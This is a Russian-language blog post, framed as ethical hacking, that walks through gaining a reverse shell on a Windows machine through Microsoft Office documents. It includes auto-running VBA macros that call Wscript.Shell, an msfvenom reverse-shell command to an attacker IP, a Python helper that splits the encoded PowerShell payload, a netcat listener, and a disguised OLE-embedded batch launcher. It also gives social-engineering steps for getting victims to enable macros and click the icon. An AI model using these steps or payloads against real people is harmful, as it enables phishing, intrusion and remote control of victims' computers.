May 22, 2023

Получаем доступ к компьютеру через макросы Microsoft Office

Всем привет! Это моя первая статья на Teletype. Я пришел с Дзена, на котором благополучно забанили мой канал :) Теперь буду писать тут! Надеюсь, модераторы не сочтут нужным удалить мой канал, который посвящен исключительно этичному хакингу и кибербезопасности.

Поехали...

При проведении пентеста важно использовать приложения, которым жертва доверяет. В отличие от подозрительно выглядящих ссылок, атаки с использованием Microsoft Office часто оказываются успешными, потому что трудно отличить вредоносное содержимое от доброкачественного. В этой статье мы рассмотрим векторы атак, использующие приложения Microsoft Office.

Макросы Microsoft Word

Макросы Microsoft Word, возможно, являются одними из старейших векторов атак. Приложения Microsoft Office, такие как Word и Excel, позволяют пользователям встраивать макросы, представляющие собой серию команд и инструкций. Организации часто используют макросы для работы с документами. Макросы могут быть написаны с нуля в Visual Basic for Applications (VBA), который является полнофункциональным языком сценариев с полным доступом к объектам ActiveX. Создать макрос Microsoft Word очень просто. Нужно выбрать "Вид" и выбрать Макросы. Мы просто вводим имя макроса и нажимаем "Создать". Когда мы нажмем кнопку "Создать", макрос будет вставлен в наш документ:

Давайте рассмотрим наш макрос и обсудим основы VBA.

Основная процедура, используемая в нашем макросе VBA, начинается с ключевого слова Sub и заканчивается End Sub. Эти слова, по сути, обозначает тело нашего макроса:

В VBA процедура Sub очень похожа на функцию. Разница заключается в том, что процедуру Sub нельзя использовать в выражениях, поскольку она не возвращает никаких значений, в то время как функция возвращает. На данный момент наш новый макрос qwerty() - это просто пустая процедура и несколько строк, начинающихся с апострофа, который обозначает начало комментариев в VBA.

Чтобы вызвать Windows Scripting Host через ActlveX, мы можем использовать функцию CreateObject вместе с методом Wscript.Shell Run:

Так как макросы Office не выполняются автоматически, мы можем использовать две процедуры, а именно процедуру AutoOpen, которая выполняется при открытии нового документа. И процедуру Document_Open, которая выполняется при повторном открытии уже открытого документа. Обе эти процедуры могут вызывать нашу пользовательскую процедуру и, следовательно, выполнять наш код:

Мы должны сохранить документ с макросом либо в формате .docm, либо в более старом формате .doc, который поддерживает встроенные макросы. Но мы должны всячески избегать формата .docx, который не поддерживает макросы. Когда мы снова откроем документ, содержащий наш макрос, нам будет показано предупреждение безопасности, указывающее на то, что макросы были отключены. Мы должны нажать кнопку "Включить содержимое", чтобы запустить макрос. Это стандартная настройка безопасности Microsoft Office. И хотя можно полностью отключить использование макросов для защиты от этой атаки, их часто включают, так как они часто используются большинством пользователей.

Как и в случае с HTML-приложением, выполнение команд - это хорошо, но для нас, для пентестеров Reverse Shell намного лучше. Для этого мы обратимся к PowerShell и используем возможность выполнения шеллкода Metasploit с использованием Base64-кодированной строки. Сначала мы объявим переменную типа String, содержащую команду PowerShell, которую мы хотим выполнить:

Sub AutoOpen()

qwerty

End Sub

Sub Document_Open()

qwerty

End Sub

Sub qwerty()

Dim Str As String

CreateObject("Wscript.Shell").Run Str

End Sub

Мы могли бы вставить сценарий PowerShell в кодировке Base64 в виде одной строки, но VBA имеет ограничение в 255 символов. Это ограничение не распространяется на строки, хранящиеся в переменных, поэтому мы можем разделить команду на несколько строк и объединить их.

kali@kali:~$ sudo msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.170 LPORT=4444 -f hta-psh -o evil.txt

Открываем evil.txt и копируем строку "powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQ..."

Для разбиения команды мы воспользуемся простым сценарием Python:

str = "powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQ..."

n = 50

for i in range(0, len(str), n):

print("Str = Str + " + '"' + str [i:i+n] + '"')

Разделив закодированную в Base64 строку на более мелкие фрагменты, мы можем обновить наш макрос:

Запустим слушателя Netcat:

kali@kali:~$ sudo nc -lnvp 4444

Открыв обновленный документ, мы увидим, что макрос работает безупречно:

Object Linking and Embedding (OLE)

Другая популярная атака с использованием Microsoft Office использует механизм взаимодействия приложений Dynamic Data Exchange (DDE) для выполнения произвольных приложений из документов Office. Но возможность этой атаки была устранена с декабря 2017 года. Тем не менее мы можем использовать технологию Object Linking and Embedding (OLE).

В этом сценарии атаки мы попробуем внедрить BAT-файл Windows в документ Microsoft Word. Пакетные файлы Windows (BAT) - это устаревший формат, который часто заменяется более современными языками сценариев Windows, такими как VBScript или PowerShell. Тем не менее пакетные сценарии по-прежнему полностью функциональны в Windows 10/11. Давайте напишем скрипт (launcher.bat), который запускает cmd.exe:

START cmd.exe

Далее мы включим этот сценарий в документ Microsoft Word. Откроем Microsoft Word, создадим новый документ, перейдем на "Вставка" и щелкнем на "Объект". Здесь мы выберем "Создание из файла" и выберем наш только что созданный пакетный сценарий launcher.bat:

При включении сценария в документ мы также могли изменить внешний вид пакетного файла в документе Word, чтобы он выглядел более "доброжелательным".

Далее нашу цель необходимо обманом заставить дважды щелкнуть по значку:

Как только наша цель принимает предупреждение (если оно появилось), запускается cmd.exe. И снова у нас есть возможность выполнить произвольный скрипт PowerShell:

START powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQ...

После встраивания обновленного пакетного файла, двойной щелчок по нему приводит к появлению рабочей обратной оболочки (Reverse Shell):

Всем спасибо за внимание! :)